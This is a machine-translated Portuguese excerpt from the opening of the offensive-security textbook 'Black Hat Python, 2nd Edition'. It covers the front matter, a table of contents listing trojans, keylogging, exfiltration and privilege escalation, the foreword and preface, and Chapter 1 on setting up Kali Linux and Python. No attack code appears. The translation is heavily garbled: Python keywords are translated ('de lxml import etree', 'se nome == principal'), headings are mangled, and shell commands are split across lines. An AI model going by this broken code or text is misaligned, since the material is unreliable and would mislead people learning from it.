Você está na página 1de 378

2ND EDITION

Black Hat Python


Python Programming for
Hackers and Pentesters

Justin Seitz and Tim Arnold


Foreword by Charlie Miller
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

ORAÇA PARA
PYTHON DE CHAPÉU PRETO, 2ª EDIÇÃO

"Se você trabalha como um profissional de segurança informática e quer


codificar em Python, este é definitivamente um livro que pertence à sua
estante".
-Craig MULLINS, DADOS E TECNOLOGIA HOJE

"Se você realmente tem a mentalidade de um hacker, uma centelha é tudo o que
você precisa para torná-la sua e fazer algo ainda mais surpreendente. Justin Seitz
oferece muitas faíscas".
-ETHICAL HACKER

"Se você está interessado em se tornar um hacker/penetration tester sério ou


apenas quer saber como eles funcionam, este livro é um livro que você precisa
ler. Intenso, tecnicamente sólido e com abertura de olhos".
-SANDRA HENRY-STOCKER, IT WORLD

"Definitivamente uma leitura recomendada para o profissional de segurança


técnica com alguma exposição prévia básica ao Python".
-RICHARD AUSTIN, IEEE CIPHER

"Outro incrível livro Python". Com um ou dois ajustes menores, muitos destes
programas terão pelo menos dez anos de validade, o que é raro para um livro de
cidade de segurança".
-STEPHEN NORTHCUTT, presidente
fundador DO Instituto de TECNOLOGIA
SANS

"Um grande livro usando Python para fins de segurança ofensiva".


-ANDREW Case, DESENVOLVEDOR DO
núcleo de VOLATILIDADE E CO-
AUTOR do ART 0f MEM0Ry f0RENSIcS
PITÃO D E
CHAPÉU
PRETO
2ª E d i ç ã o
P r o g r a m a ç ã o Python
para H a c k e r s e
Pentesters

por Justin Seitz e Tim Arnold


São Francisco
PYTHON DE CHAPÉU PRETO, 2ª EDIÇÃO. Copyright © 2021 por Justin Seitz e Tim Arnold.

Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de
qualquer forma ou por qualquer meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por
qualquer sistema de armazenamento ou recuperação de informações, sem a permissão prévia por
escrito do proprietário dos direitos autorais e da editora.

ISBN-13: 978-1-7185-0112-6 (imprimir)


ISBN-13: 978-1-7185-0113-3 (ebook)

Editora: William Pollock Editor


executivo: Barbara Yien
Editor de produção: Dapinder
Dosanjh Developmental Editor:
Ilustração da capa de Frances Saux:
Design de Interiores Garry Booth:
Revisor técnico dos estúdios
Octopod: Cliff Janzen Copyeditor:
Bart Reed
Compositor: Jeff Lytle, Revisor de Acontecimentos Tipo-O-
Rama: Sharon Wilkey

Para informações sobre distribuidores de livros ou traduções, favor contatar diretamente a No


Starch Press, Inc.: No Starch Press, Inc.
245 8th Street, San Francisco, CA 94103
telefone: 1-415-863-9900;
info@nostarch.com www.nostarch.com

Número de controle da Biblioteca do Congresso: 2014953241

No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de
produtos e empresas aqui mencionados podem ser marcas registradas de seus respectivos proprietários. Ao
invés de usar um símbolo de marca registrada com cada ocorrência de um nome registrado, estamos usando
os nomes apenas de forma editorial e em benefício do proprietário da marca registrada, sem intenção de
infringir a marca registrada.

As informações contidas neste livro são distribuídas na base "Como está", sem garantia. Embora todas as
precauções tenham sido tomadas na preparação deste trabalho, nem os autores nem a No Starch Press, Inc.
terão qualquer responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou
dano causado ou supostamente causado direta ou indiretamente pelas informações contidas no mesmo.

[S]
À minha linda esposa, Clare. Eu te amo.
-Justin
Sobre os Autores
Justin Seitz é um renomado titioner de segurança cibernética e inteligência
de código aberto e o co-fundador da Dark River Systems Inc., uma empresa
canadense de segurança e inteligência. Seu trabalho tem sido apresentado
em Popular Science, Motherboard, e Forbes. Justin é autor de dois livros
sobre o desenvolvimento de ferramentas de hacking. Ele criou a plataforma
de treinamento AutomatingOSINT.com e Hunchly, uma ferramenta de coleta
de inteligência de código aberto para os investigadores. Justin também é
colaborador do site de jornalismo cidadão Bellingcat, um mem- ber do
Conselho Consultivo Técnico do Tribunal Penal Internacional, e um Fellow do
Centro de Estudos Avançados em Defesa em Washington, DC.
Tim Arnold é atualmente um programador profissional de Python e cian-
estatística. Ele passou grande parte de seu início de carreira na Universidade
Estadual da Carolina do Norte como um respeitado palestrante e educador
internacional. Entre suas realizações, ele garantiu que as ferramentas
educacionais fossem acessíveis a comunidades carentes em todo o mundo,
inclusive tornando a documentação matemática acessível aos cegos.
Nos últimos anos, Tim tem trabalhado no Instituto SAS como um dos
principais desenvolvedores de software, projetando e implementando um
sistema de publicação de documentação técnica e matemática. Ele fez parte
da diretoria da Raleigh ISSA e como consultor da diretoria do Instituto
Internacional de Estatística. Ele gosta de trabalhar como um educador
independente, tornando os conceitos infosec e Python disponíveis para
novos usuários e elevando aqueles com mais
habilidades avançadas. Tim vive na Carolina do Norte com sua esposa, Treva, e um
vilão - ous cockatiel chamado Sidney. Você pode encontrá-lo no Twitter em
@jtimarnold.

Sobre o Revisor Técnico


Desde os primeiros dias do Commodore PET e VIC-20, a tecnologia tem sido
uma companhia constante para Cliff Janzen - e às vezes uma obsessão! Cliff
passa a maior parte de seu dia de trabalho gerenciando e orientando uma
grande equipe de profissionais de segurança, esforçando-se para se manter
tecnicamente relevante ao lidar com tudo, desde revisões de políticas de
segurança e testes de penetração até a resposta a incidentes. Ele se sente
sortudo por ter uma carreira que é também seu hobby favorito e uma
esposa que o apóia. Ele é grato a Justin por tê-lo incluído na primeira edição
deste maravilhoso livro e a Tim por tê-lo levado a finalmente fazer a
mudança para Python 3. E um agradecimento especial às boas pessoas da
No Starch Press.
BR IE F CO N T E NT E S

Prefácio .....................................................................................................................................xv

Prefácio ...................................................................................................................................xvii

Agradecimentos........................................................................................................................xix

Capítulo 1: Montando seu ambiente Python................................................................................1

Capítulo 2: Ferramentas básicas de trabalho em rede...............................................................9

Capítulo 3: Escrevendo um farejador .......................................................................................35

Capítulo 4: Possuir a Rede com Scapy....................................................................................53

Capítulo 5: Hackery na Web.....................................................................................................71

Capítulo 6: Extensão do Burp Proxy ........................................................................................93

Capítulo 7: Comando e Controle de GitHub ...........................................................................117

Capítulo 8: Tarefas comuns de Trojaning no Windows............................................................127

Capítulo 9: Diversão com a filtragem......................................................................................139

Capítulo 10: Escalada de Privilégios do Windows..................................................................153

Capítulo 11: Forenses ofensivos ............................................................................................169

Índice ......................................................................................................................................185
CON T E N T E S IN DE TA IL

PREÂMBULO XV

PREFÁCIO XVII

AGRADECIMENTOS XIX

1
CRIANDO SEU AMBIENTE PYTHON 1
Instalando o Kali Linux .........................................................................................................2
Montando o Python 3.............................................................................................................3
Instalando uma IDE ..............................................................................................................5
Código de Higiene ................................................................................................................5

2
FERRAMENTAS BÁSICAS DE REDE 9
A rede Python em um parágrafo ........................................................................................10
Cliente TCP .........................................................................................................................10
Cliente UDP ........................................................................................................................11
Servidor TCP........................................................................................................................12
Substituindo Netcat.............................................................................................................13
Chutando os Pneus .............................................................................................17
Construindo um Proxy TCP ................................................................................................19
Chutando os Pneus .............................................................................................24
SSH com Paramiko ............................................................................................................26
Chutando os Pneus .............................................................................................30
Túnel SSH...........................................................................................................................30
Chutando os Pneus .............................................................................................34

3
ESCREVENDO UM FAREJADOR 35
Construindo uma ferramenta UDP Host Discovery..............................................................36
Cheirando pacotes em Windows e Linux...........................................................................36
Chutando os Pneus .............................................................................................38
Decodificação da camada IP................................................................................................38
O módulo dos tipos................................................................................................39
O módulo estrutural.................................................................................................41
Escrevendo o Decodificador IP............................................................................43
Chutando os Pneus .............................................................................................45
Descodificando o ICMP......................................................................................................46
Chutando os Pneus .............................................................................................50
4
POSSUIR A REDE COM SCAPY 53
Roubo de credenciais por e-mail ........................................................................................54
Chutando os Pneus .............................................................................................57
ARP Envenenamento por Cache com Scapy .......................................................................57
Chutando os Pneus .............................................................................................62
Processamento da tampa...................................................................................................63
Chutando os Pneus .............................................................................................69

5
HACKERY WEB 71
Usando bibliotecas Web.....................................................................................................72
A biblioteca urllib2 para Python 2.x......................................................................72
A biblioteca urllib para Python 3.x.........................................................................73
A biblioteca de pedidos............................................................................................74
Os pacotes lxml e BeautifulSoup ...........................................................................74
Mapeamento de instalações de aplicações Web de código aberto ....................................76
Mapeando a estrutura do WordPress ...................................................................76
Testando o Alvo Vivo ..............................................................................................80
Chutando os Pneus .............................................................................................81
Diretórios de Força Bruta e Localização de Arquivos.............................................................82
Chutando os Pneus .............................................................................................85
Autenticação de Formulário HTML Forçado Bruto ......................................................................85
Chutando os Pneus .............................................................................................90

6
PROLONGANDO A PROXY DE ARROTO 93
Instalação ............................................................................................................................94
Burp Fuzzing ......................................................................................................................95
Chutando os Pneus ...........................................................................................101
Usando Bing for Burp.......................................................................................................104
Chutando os Pneus ...........................................................................................108
Transformando o conteúdo do site em ouro por senha.......................................................110
Chutando os Pneus ...........................................................................................113

7
COMANDO E CONTROLE DO GITHUB 117
Criação de uma conta GitHub ..........................................................................................118
Criando Módulos ..............................................................................................................119
Configurando o Trojan .....................................................................................................120
Construindo um Trojan GitHub-Aware .............................................................................121
Hacking Python's import Functionality ................................................................123
Chutando os Pneus ...........................................................................................124

xii Conteúdo em detalhe


8
TAREFAS COMUNS DE TROJANING EM JANELAS 127
Keylogging for Fun and Keystrokes ..................................................................................128
Chutando os Pneus ............................................................................................130
Tirando screenshots ..........................................................................................................131
Execução de código Pythonic Shellcode .............................................................................132
Chutando os Pneus ............................................................................................134
Detecção de caixas de areia .............................................................................................135

9
DIVERSÃO COM A EXFILTRAÇÃO 139
Criptografia e decriptação de arquivos..............................................................................140
Exfiltração de e-mail...........................................................................................................142
Transferência de arquivos Exfiltração....................................................................................144
Exfiltração através de um Servidor Web ...........................................................................145
Colocando tudo junto.........................................................................................................148
Chutando os Pneus ............................................................................................150

10
JANELAS ESCALAÇÃO DE PRIVILÉGIOS 153
Instalando os Pré-requisitos..............................................................................................154
Criando o serviço BlackHat Vulnerável .............................................................................154
Criando um Monitor de Processo.......................................................................................156
Monitoramento de processos com WMI .............................................................157
Chutando os Pneus ...........................................................................................158
Privilégios dos Tokens Windows.......................................................................................159
Vencer a Corrida ..............................................................................................................161
Chutando os Pneus ...........................................................................................164
Injeção de código..............................................................................................................164
Chutando os Pneus ...........................................................................................166

11
FORENSE OFENSIVA 169
Instalação.........................................................................................................................170
Reconhecimento Geral.....................................................................................................171
Reconhecimento do usuário..............................................................................................173
Reconhecimento de Vulnerabilidade ................................................................................176
A interface volshell .............................................................................................................177
Plug-Ins de Volatilidade Personalizados ..............................................................................177
Chutando os Pneus ...........................................................................................182
Avante!............................................................................................................................184

ÍNDICE 185

Conteúdo em detalhe xiii


PARA O E OU D

Já se passaram seis anos desde que escrevi o prefácio para a primeira edição
muito bem sucedida do Black Hat Python. Muito mudou no mundo durante
este tempo, mas uma coisa não mudou: eu ainda escrevo um monte de
código Python. No campo da segurança de computadores, você ainda
encontrará ferramentas escritas em uma variedade de guildas de lan,
dependendo da tarefa. Você verá o código C escrito para uma exploração do
kernel, o código JavaScript escrito para um fuzzer JavaScript, ou um proxy
escrito em uma nova linguagem "hipper" como o Rust. Mas Python ainda é o
cavalo de batalha nesta indústria - tente. Pelo meu dinheiro, ainda é a
linguagem mais fácil para começar, e com o grande número de bibliotecas
disponíveis, é a melhor linguagem para escrever código rapidamente para
executar tarefas complexas de uma maneira simples. A maior parte das
ferramentas e explorações de segurança informática ainda são escritas em
Python. Isto inclui tudo, desde estruturas de exploração como CANVAS até os
clássicos fuzzers como Sulley.
Antes da publicação da primeira edição do Black Hat Python, eu
havia escrito muitos fuzzers e explorações em Python. Estes incluíam exploits
contra Safari para Mac OS X, telefones iPhone e Android, e até mesmo
Second Life. (Você pode ter que pesquisar no Google essa última).
De qualquer forma, desde então, escrevi uma exploração muito
especial, com a ajuda de Chris Valasek, que foi capaz de comprometer
remotamente um Jeep Cherokee 2014 e outros carros. Naturalmente, esta
exploração foi escrita em Python, usando o módulo dbus-python. Todas as
ferramentas que escrevemos, o que acabou permitindo
para controlar remotamente a direção, os freios e a aceleração do veículo
prometido, também foram escritos em Python. Pode-se dizer, de certa forma,
que Python foi responsável pelo recall de 1,4 milhões de veículos Fiat Chrysler.
Se você estiver interessado em mexer nas tarefas de segurança da
informação, Python é uma ótima linguagem para aprender, devido ao grande
número de bibliotecas de engenharia reversa e de exploração
disponíveis para seu uso. Agora, se apenas os desenvolvedores do
Metasploit viessem ao seu sentido e mudassem de Ruby para Python, nossa
comunidade estaria unida.
Nesta nova edição do que se tornou um clássico amado, Justin e Tim
atualizaram todo o código para Python 3. Pessoalmente, sou um dinossauro
que está pendurado em Python 2 o máximo de tempo possível, mas como
bibliotecas úteis terminam
migrando para Python 3, até mesmo eu em breve terei que aprender isso. Esta
edição consegue cobrir uma grande variedade de tópicos que um jovem
hacker empreendedor precisaria começar, desde o básico de como ler e
escrever pacotes de rede - ets até qualquer coisa que você possa precisar
para auditoria e ataque de aplicativos web.
Em geral, o Black Hat Python é uma leitura divertida escrita por
especialistas com anos de experiência que estão dispostos a compartilhar os
segredos que aprenderam ao longo do caminho. Embora possa não
transformá-lo imediatamente em um super hacker acrobata como eu, ele
certamente o levará a seguir o caminho correto.
Lembre-se, a diferença entre garotos de roteiro e hackers
profissionais é que os primeiros usam as ferramentas de outras pessoas.
Estes últimos podem escrever os seus próprios.

Charlie Miller
Security Researcher
St. Louis, Missouri
Outubro de 2020
xvi Prefácio
PR E FACE

Hacker Python, programador Python. Você poderia usar qualquer um desses


termos para nos descrever. Justin passou muito tempo em testes de
penetração, o que requer a capacidade de desenvolver rapidamente
ferramentas Python, com foco na entrega de resultados (não
necessariamente em prettiness, otimização, ou mesmo estabilidade). O
mantra do Tim é "fazer com que funcione, torná-lo compreensível, torná-lo
rápido - nessa ordem". Quando seu código é legível, ele se torna
compreensível para aqueles com quem você o compartilha, mas também
para você mesmo quando você olha para ele alguns meses depois. Ao longo
deste livro, você aprenderá que é assim que codificamos: o hacking é nosso
objetivo final, e código limpo e compreensível é o método que usamos para
chegar lá. Esperamos que esta filosofia e estilo também o ajudem.
Desde o aparecimento da primeira edição deste livro, muita coisa
aconteceu no mundo Python. Python 2 chegou ao fim de sua vida útil em
janeiro de 2020. Python 3 tornou-se a plataforma recomendada para a
codificação e o ensino. Portanto, esta segunda edição refaz o código e o porta
para Python 3 usando os últimos pacotes e bibliotecas. Ela também aproveita
as mudanças de sintaxe fornecidas pelo Python 3.6 e versões superiores do
Python 3, tais como strings Unicode, gerentes de contexto e f-strings.
Finalmente, atualizamos esta segunda edição com explicações adicionais dos
conceitos de codificação e rede, como o uso de gerentes de contexto, a sintaxe
do Berkeley Packet Filter, e uma comparação dos tipos e bibliotecas
estruturantes.
À medida que você avança no livro, você perceberá que não
mergulhamos profundamente em nenhum tópico. Isto é por projeto. Queremos
lhe dar o básico, com um pouco de sabor, para que você adquira
conhecimentos fundacionais no
mundo do desenvolvimento de ferramentas de hacking. Com isso em
mente, nós espalhamos explicações, idéias e tarefas de casa ao longo do livro
para dar o pontapé inicial na sua própria direção. Encorajamos você a
explorar estas idéias, e gostaríamos de ouvir sobre qualquer ferramenta que
você tenha completado por conta própria.
Como em qualquer livro técnico, os leitores em diferentes níveis de
habilidade se especializarão de forma diferente. Alguns de vocês podem
simplesmente agarrá-lo e nab capítulos que são pertinentes ao seu último
trabalho de consultoria. Outros podem lê-lo de capa a capa. Se você é um
programador Python principiante a intermediário, recomendamos que
comece no início do livro e leia os capítulos em ordem. Você vai pegar alguns
bons blocos de construção ao longo do caminho.
Para começar, estabelecemos os fundamentos do trabalho em rede no
Capítulo 2. Em seguida, trabalhamos lentamente através de tomadas brutas
no Capítulo 3 e usando Scapy no Capítulo 4 para algumas ferramentas de
rede mais interessantes. A próxima seção do livro trata das aplicações de
hacking na web, começando com suas próprias ferramentas de coxins no
Capítulo 5 e depois ampliando a popular Suíte Burp no Capítulo 6. A partir
daí, passaremos muito tempo conversando sobre tro- jans, começando com
o uso do GitHub para comando e controle no Capítulo 7, até o Capítulo 10,
onde cobriremos alguns truques de escalonamento de privilégios do
Windows. O capítulo final é sobre a biblioteca forense de memória de
volatilidade, que ajuda a entender como o lado defensivo pensa e mostra
como você pode alavancar suas ferramentas para o ataque.
Tentamos manter as amostras de código breves e precisas, e o mesmo vale
para as explicações. Se você é relativamente novo em Python, nós o encorajamos
a perfurar cada linha para que a memória do músculo codificador funcione.
Todos os exemplos de código fonte deste livro estão disponíveis em
https://nostarch.com/ black-hat-python2E/.
Aqui vamos nós!
xviii Prefácio
ACK NO W L E DG M E N T O S

Tim oferece um grande obrigado à sua esposa, Treva, por seu apoio
duradouro. Se não fossem vários incidentes serendipitantes, ele não teria
tido a oportunidade de trabalhar neste livro. Ele agradece à Raleigh ISSA,
especialmente Don Elsner e Nathan Kim, por apoiá-lo e encorajá-lo a
ensinar
uma classe local utilizando a primeira edição deste livro. Ensinar essa aula e
trabalhar com seus alunos levou-o ao seu amor pelo livro. E à sua
comunidade hacker local, não menos importante, o pessoal do Oak City
Locksports, ele oferece agradecimentos por seu incentivo e por fornecer uma
caixa de ressonância para suas idéias.
Justin gostaria de agradecer a sua família - sua bela esposa, Clare, e seus
cinco filhos, Emily, Carter, Cohen, Brady e Mason - por todo o encour- agement
e tolerância enquanto ele passou um ano e meio de sua vida escrevendo este
livro. Ele os ama muito a todos. A todos os seus amigos da comunidade
cibernética e OSINT que compartilham bebidas, risos e Tweets: obrigado por
deixá-lo mijar e gemer para você diariamente.
Outro grande obrigado a Bill Pollock da No Starch Press e à nossa
paciente editora, Frances Saux, por ajudar a tornar o livro muito melhor.
Graças ao resto da equipe da No Starch - incluindo Tyler, Serena e Leigh - por
todo o trabalho duro que você colocou neste livro e no resto de sua coleção.
Nós dois apreciamos isso. Gostaríamos também de agradecer ao nosso
revisor técnico, Cliff Janzen, que forneceu um apoio absolutamente incrível
durante todo o processo. Qualquer um que esteja escrevendo um livro de
infosec deveria realmente trazê-lo a bordo; ele foi incrível e depois alguns.
1
S E T T T ING U P YO U R
P Y T HON E N V I R O N M E N T

Esta é a parte menos divertida, mas ainda


assim crítica, parte do livro, onde
caminhamos através da criação de um
ambiente no qual podemos escrever
e testar Python. Faremos um curso intensivo
de configuração de uma máquina virtual Kali Linux
(VM), criando um ambiente virtual para Python 3, e
instalando um ambiente de desenvolvimento integrado
(IDE) agradável para que você tenha tudo o que
precisa para desenvolver código. Ao final deste
capítulo, você deve estar pronto para enfrentar os
exemplos de exercícios e códigos no restante do
livro.
Antes de começar, se você não tiver um cliente de virtualização hypervisor
como VMware Player, VirtualBox ou Hyper-V, baixe e instale um. Também
recomendamos que você tenha um VM do Windows 10 pronto. Você pode obter
uma avaliação do Windows 10 VM aqui: https://developer.microsoft.com/en-us/
windows/downloads/virtual-machines/.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Instalando o Kali Linux


Kali, o sucessor da distribuição BackTrack Linux, foi projetado pela
Offensive Security como um sistema operacional de teste de penetração. Ele
vem com uma série de ferramentas pré-instaladas e é baseado no Debian
Linux, assim você poderá instalar uma grande variedade de ferramentas
e bibliotecas adicionais.
Você usará Kali como sua máquina virtual convidada. Ou seja, você fará o
download de uma máquina virtual Kali e a executará em sua máquina host
usando seu hipervisor de escolha. Você pode baixar a Kali VM de
https://www.kali.org/downloads/ e instalá-la em seu hipervisor de sua escolha.
Siga as instruções dadas na documentação de Kali:
https://www.kali.org/docs/installation/.
Quando você tiver passado pelas etapas da instalação, você deve ter
o ambiente de trabalho Kali completo, como mostrado na Figura 1-1.

Figura 1-1: O desktop Kali Linux

Como pode ter havido atualizações importantes desde que a imagem


Kali foi criada, vamos atualizar a máquina com a versão mais recente. Na
concha Kali (Applications⏵Accessories⏵Terminal), execute o seguinte:

tim@kali:~$ sudo apt update


tim@kali:~$ apt list --upgradable
tim@kali:~$ sudo apt upgrade
tim@kali:~$ sudo apt dist-
upgrade tim@kali:~$ sudo apt
2 Capítulo 1
dist-upgrade tim@kali:~$ sudo
apt autoremove

Montando seu ambiente Python 3


Montando o Python 3
A primeira coisa que faremos é garantir que a versão correta do Python
seja instalada. (Os projetos neste livro usam Python 3.6 ou superior.)
Invoque Python a partir da casca de Kali e dê uma olhada:

tim@kali:~$ python

Isto é o que parece em nossa máquina Kali:

Python 2.7.17 (padrão, 19 de outubro de 2019, 23:36:22)


[GCC 9.2.1 20191008] sobre linux2
Digite "ajuda", "direitos autorais", "créditos" ou "licença" para obter mais
informações.
>>>

Não é exatamente o que estamos procurando. No momento desta


redação, a versão padrão do Python na atual instalação de Kali é Python
2.7.18. Mas isto não é realmente um problema; você deveria ter o Python
3 instalado também:

tim@kali:~$ python3
Python 3.7.5 (padrão, 27 de outubro de 2019, 15:43:29)
[GCC 9.2.1 20191022] sobre linux
Digite "ajuda", "direitos autorais", "créditos" ou "licença" para obter mais
informações.
>>>

A versão do Python listada aqui é 3.7.5. Se a sua for inferior a 3.6,


atualize sua distribuição com o seguinte:

$ sudo apt-get upgrade python3

Usaremos o Python 3 com um ambiente virtual, que é uma árvore de


diretório independente que inclui uma instalação Python e o conjunto de
quaisquer pacotes extras que você instalar. O ambiente virtual está entre as
ferramentas mais essenciais para um desenvolvedor Python. Usando uma
delas, você pode separar projetos que têm necessidades diferentes. Por
exemplo, você pode usar um ambiente virtual para projetos que envolvam
inspeção de pacotes e um ambiente diferente para projetos de análise
binária.
Ao ter ambientes separados, você mantém seus projetos simples e limpos.
Isto garante que cada ambiente possa ter seu próprio conjunto de
dependências e módulos sem interromper nenhum de seus outros projetos.
Vamos criar agora um ambiente virtual. Para começar, precisamos
instalar o pacote python3-venv:

tim@kali:~$ sudo apt-get install python3-


venv [sudo] password for tim:
...

4 Capítulo 1
Agora podemos criar um ambiente virtual. Vamos fazer um novo diretório
para trabalhar e criar o ambiente:

tim@kali:~$ mkdir
bhp tim@kali:~$ cd
bhp
tim@kali:~/bhp$ python3 -m venv venv3
tim@kali:~/bhp$ fonte venv3/bin/activate
(venv3) tim@kali:~/bhp$ python

Isso cria um novo diretório, bhp, no diretório atual. Criamos um novo


ambiente virtual chamando o pacote venv com a chave -m e o nome que
você deseja que o novo ambiente tenha. Chamamos o nosso venv3, mas
você pode usar qualquer nome que quiser. Os scripts, pacotes e o
executável Python para o ambiente viverão nesse diretório. Em seguida,
ativamos o ambiente executando o script de ativação. Note que o prompt
muda uma vez que o ambiente é ativado. O nome do ambiente é prepenso
ao seu prompt habitual (venv3 no nosso caso). Mais tarde, quando você
estiver pronto para sair do ambiente, use o comando desativar.
Agora você tem o Python configurado e ativou um ambiente virtual.
Desde que configuramos o ambiente para usar Python 3, quando você
invoca Python, você não precisa mais especificar python3-just python está
bem, uma vez que foi isso que instalamos no ambiente virtual. Em outras
palavras, após a ativação, cada comando Python será relativo ao seu
ambiente virtual. Observe que o uso de uma versão diferente de Python
pode quebrar alguns dos exemplos de código deste livro.
Podemos usar o executável pip para instalar os pacotes Python no
ambiente virtual. Isto é muito parecido com o gerenciador de pacotes apt
porque ele permite instalar diretamente as bibliotecas Python em seu
ambiente virtual sem ter que baixar manualmente, desempacotar e instalá-
las.
Você pode procurar por pacotes e instalá-los em seu ambiente virtual -
com pip:

(venv3) tim@kali:~/bhp: busca pip hashcrack

Vamos fazer um teste rápido e instalar o módulo lxml, que usaremos no


Capítulo 5 para construir um raspador de rede. Digite o seguinte em seu
terminal:

(venv3) tim@kali:~/bhp: pip install lxml

Você deve ver a saída em seu terminal indicando que a biblioteca está
sendo baixada e instalada. Em seguida, coloque em uma concha Python e
Montando seu ambiente Python 5
data de vali que foi instalada corretamente:

(venv3) tim@kali:~/bhp$ python


Python 3.7.5 (padrão, 27 de outubro de 2019, 15:43:29)
[GCC 9.2.1 20191022] sobre linux
Digite "ajuda", "direitos autorais", "créditos" ou "licença" para obter mais
informações.
>>> de lxml import etree
>>> sair()
(venv3) tim@kali:~/bhp$

6 Capítulo 1
Se você receber um erro ou uma versão do Python 2, certifique-se de
ter seguido todos os passos anteriores e de ter a versão atualizada do Kali.
Tenha em mente que para a maioria dos exemplos ao longo deste livro,
você pode desenvolver seu código em uma variedade de ambientes, incluindo
MacOS, Linux e Windows. Você também pode querer criar um ambiente
virtual diferente para projetos ou capítulos separados. Alguns capítulos são
específicos para Windows, que não deixaremos de mencionar no início do
capítulo.
Agora que temos nossa máquina virtual de hacking e um ambiente virtual
Python 3 instalado, vamos instalar uma IDE Python para desenvolvimento.

Instalando uma IDE


Um ambiente de desenvolvimento integrado (IDE) fornece um conjunto
de ferramentas para a codificação. Tipicamente, inclui um editor de
código, com destaque de sintaxe e impressão automática, e um
depurador. O objetivo da IDE é facilitar a codificação e a depuração de
seus programas. Você não precisa usar um para programar em Python;
para pequenos programas de teste, você pode usar qualquer editor de
texto (como vim, nano, Notepad, ou emacs). Mas para projetos maiores e
mais complexos, uma IDE será de enorme ajuda para você, seja indicando
variáveis que você tenha definido mas não utilizadas, encontrando nomes
de variáveis mal soletradas, ou localizando importações de pacotes
ausentes.
Em uma pesquisa recente com desenvolvedores Python, as duas
IDEs preferidas foram PyCharm (que tem versões comerciais e gratuitas
disponíveis) e Visual Studio Code (gratuito). Justin é fã de WingIDE
(versões comerciais e gratuitas disponíveis), e Tim usa Visual Studio
Code (VS Code). Todas as três IDEs podem ser usadas em Windows,
macOS ou Linux.
Você pode instalar o PyCharm em
https://www.jetbrains.com/pycharm/download/ ou o WingIDE em
https://wingware.com/downloads/. Você pode instalar o código VS a partir da
linha de comando Kali:

tim@kali#: apt-get install code

Ou, para obter a última versão do Código VS, faça o download em


https://code
.visualstudio.com/download/ e instalar com apt-get:

tim@kali#: apt-get install -f ./code_1.39.2-1571154070_amd64.deb

O número de liberação, que faz parte do nome do arquivo,


provavelmente será diferente - ent do mostrado aqui, portanto certifique-
se de que o nome do arquivo que você usa corresponde ao que você
baixou.

Montando seu ambiente Python 7


Código de Higiene
Não importa o que você use para escrever seus programas, é uma boa idéia
seguir uma diretriz de formatação de código. Um guia de estilo de código
fornece recomendações para melhorar a legibilidade e a consistência de seu
código Python. Isso facilita a compreensão de seu próprio código quando
você o lê mais tarde ou para outros, se

8 Capítulo 1
você decide compartilhá-lo. A comunidade Python tem uma diretriz,
chamada PEP 8. Você pode ler o guia completo da PEP 8 aqui:
https://www.python.org/dev/peps/ pep-0008/.
Os exemplos neste livro geralmente seguem a PEP 8, com algumas
diferenças. Você verá que o código neste livro segue um padrão como este:

1 de lxml import etree


de importação de subprocesso Popen

2 importação
argentina
importação os

3 def
get_ip(machine_na
me): passe

4 Scanner de classe:
def init (self):
passe

5 se nome == ' principal ':


scan = Scanner()
print('olá')

No topo de nosso programa, importamos os pacotes de que


precisamos. O primeiro bloco de importação 1 tem a forma de XXX
importação do tipo YYYY. Cada linha de importação está em ordem
alfabética.
O mesmo se aplica às importações de módulos - também elas estão em
ordem alfabética -ical 2. Este pedido permite que você veja rapidamente se
importou um pacote sem ler cada linha de importação, e garante que você
não
importar um pacote duas vezes. A intenção é manter seu código limpo e
diminuir a quantidade que você tem que pensar ao reler seu código.
Em seguida vêm as funções 3, depois as definições de classe 4, se você
tiver alguma. Alguns codificadores preferem nunca ter classes e confiam apenas
nas funções. Há
Não há regras rígidas e rápidas aqui, mas se você descobrir que está
tentando manter o estado com variáveis globais ou passando as mesmas
estruturas de dados para várias func-ções, isso pode ser uma indicação de
que seu programa seria mais fácil de entender se você o refatorasse para
usar uma classe.
Finalmente, o bloco principal na parte inferior 5 lhe dá a oportunidade
de usar seu código de duas maneiras. Primeiro, você pode usá-lo a partir da
linha de comando. Neste
caso, o nome interno do módulo é principal e o bloco principal é executado.
Por exemplo, se o nome do arquivo que contém o código for scan.py, você
Montando seu ambiente Python 9
poderia invocá-lo a partir da linha de comando como a seguir:

python scan.py

Isto irá carregar as funções e classes em scan.py e executar o bloco


principal. Você verá o olá de resposta no console.
Em segundo lugar, você pode importar seu código para outro programa,
sem efeitos colaterais. Por exemplo, você importaria o código com

varredura de importação

1 Capítulo 1

0
Como seu nome interno é o nome do módulo Python, scan, e não
main , você tem acesso a todas as funções e classes definidas do módulo,
mas o bloco principal não é executado.
Você também vai notar que evitamos variáveis com nomes
genéricos. Quanto melhor você conseguir nomear suas variáveis, mais
fácil será entender o programa.
Você deve ter uma máquina virtual, Python 3, um ambiente virtual, e
uma IDE. Agora vamos nos divertir de verdade!

Montando seu ambiente Python 11


2
BA S IC N E T W OR K ING T OOL S

A rede é e sempre será a arena sexi- est


para um hacker. Um atacante pode fazer
quase tudo com simples acesso à rede,
tais como procurar por hospedeiros, injetar
pacotes, cheirar dados e explorar remotamente
hospedeiros. Mas se você trabalhou no mais
profundo de um alvo empresarial, você pode se
encontrar em um pequeno enigma: você não tem
ferramentas para executar ataques de rede. Sem
netcat. Sem Wireshark. Sem compilador, e sem meios
para instalar um. Entretanto, você pode se
surpreender ao descobrir que em muitos casos, você
terá uma instalação Python. Então, é por aí que
começaremos.
Este capítulo lhe dará algumas informações básicas sobre rede Python
usando o módulo socket (A documentação completa do socket pode ser
encontrada aqui: http:// docs.python.org/3/library/socket.html.). Ao longo do
caminho, construiremos clientes, servidores e um proxy TCP. Depois os
transformaremos em nosso próprio netcat, completo com um shell de
comando. Este capítulo é a base para os próximos capítulos, nos quais
construiremos uma ferramenta de descoberta de hosts, implementaremos
sniffers de plataforma cruzada e criaremos uma estrutura remota de trojans.
Vamos começar.

A rede Python em um parágrafo


Os programadores têm uma série de ferramentas de terceiros para criar
servidores e clientes em Python, mas o módulo central para todas essas
ferramentas é o socket. Este módulo expõe todas as peças necessárias para
escrever rapidamente o Protocolo de Controle de Transmissão (TCP) e o
Protocolo de Datagramas de Usuário (UDP) clientes e servidores, usar
soquetes brutos, e assim por diante. Para fins de invasão ou para manter o
